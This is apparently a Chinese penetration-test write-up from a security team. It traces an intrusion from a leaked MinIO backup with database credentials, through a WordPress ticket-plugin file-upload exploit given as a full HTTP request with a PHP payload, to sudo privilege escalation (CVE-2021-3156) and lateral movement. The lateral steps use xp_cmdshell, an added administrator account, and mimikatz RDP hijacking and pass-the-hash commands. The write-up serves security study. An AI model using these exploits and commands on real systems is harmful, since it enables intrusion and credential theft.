从信息泄露到内网控制

admin

142234
文章

117
评论

2025年5月30日12:07:01评论6 views字数 2447阅读8分9秒阅读模式

声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！

0x01 背景

之前常见用rce、文件上传等漏洞获取webshell，偶然遇到一次敏感信息泄露获取权限的渗透，简单记录一下过程。

0x02 信息泄露

发现系统某端口部署了minio服务，经过探测发现存在minio存储桶遍历

从信息泄露到内网控制使用利用工具把泄露的文件全部整理一下

从信息泄露到内网控制把文件分类整理后发现 /backup.zip 文件。下载后解压，发现 config.php 文件，其中包含数据库连接信息：

DB_USER=admin  DB_PASS=1qa@xxx135（xxx为公司简称首字母大写）DB_HOST=127.0.0.1

本地数据库地址可能有用，先放一放留着，继续进行信息收集。继续探测发现其他端口发现有个web系统部署了WordPress，其中使用了一套开源票务插件js-support-ticket，存在文件上传漏洞可利用。

POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1Host: Content-Type: multipart/form-data; boundary=--------767099171User-Agent: Mozilla/5.0 ----------767099171Content-Disposition: form-data; name="action"configuration_saveconfiguration----------767099171Content-Disposition: form-data; name="form_request"jssupportticket----------767099171Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"Content-Type: image/png<?php echo md5(123);unlink(__FILE__);?>----------767099171--

从信息泄露到内网控制链接webshell获取 www-data 权限

从信息泄露到内网控制查看系统版本

uname -aLinux ubuntu-bionic 4.15.0-50-generic #54-Ubuntu SMP Mon May 15 15:20:34 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

目标服务器是Ubuntu 18.04，尝试CVE-2021-3156用于sudo提权。上传并执行获取root权限。

https://github.com/blasty/CVE-2021-3156

利用之前泄露的数据库凭据，成功连接mysql

mysql -h 127.0.0.1 -u root -p -P 3306

查询wp_users表，发现多个md5加密的密码，尝试破解发现其中一个管理员密码可以成功解密，但是尝试用来登录SSH则失败。按照正常思路找几台内网主机做一下权限维持比较好，尤其是Windows机器用起来更方便，使用Tscan收集内网信息横向移动，存活多台Windows内网主机，但没有发现明显可利用的漏洞。回顾刚才的数据库密码发现135对应Linux主机内网地址，那么根据已有的Windows主机ip地址推测密码规律，尝试登录成功一台Windows主机

0x03 内网横向

内网横向发现mssql数据库，开xpcmdshell发现为system权限

从信息泄露到内网控制添加管理员权限账户qax，3389连接获取劫持rdp

从信息泄露到内网控制已经开启3389远程桌面

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections

从信息泄露到内网控制远程桌面连接rdp劫持获取管理员权限

privilege::debug #提权ts::sessions #查看当前主机的会话token::elevate #提升本地管理员权限为systemts::remote /id:1 #劫持id为1的会话或者privilege::debugsekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:e5df2c988f0d77ef35a9bdc95b5 "/run:mstsc.exe /restrictedadmin"

从信息泄露到内网控制成功登录目标服务器，接下来可以用tscan获取更多内网资产信息。至此完成了从外网渗透到内网控制的全过程。